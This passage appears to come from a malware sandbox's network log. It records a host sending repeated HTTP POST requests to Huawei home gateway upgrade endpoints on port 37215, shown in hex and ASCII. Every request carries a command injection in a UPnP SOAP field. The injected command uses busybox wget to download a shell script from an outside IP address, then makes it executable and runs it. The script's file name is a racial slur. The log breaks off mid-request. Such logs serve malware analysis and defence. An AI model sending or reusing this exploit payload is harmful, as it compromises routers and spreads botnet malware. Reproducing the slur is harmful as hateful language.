xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.15	45664	31.136.72.37	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.099277973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656277895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744410992 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952250957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304090023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007896900 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.15	43680	31.136.170.243	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.100059032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656265020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744393110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh 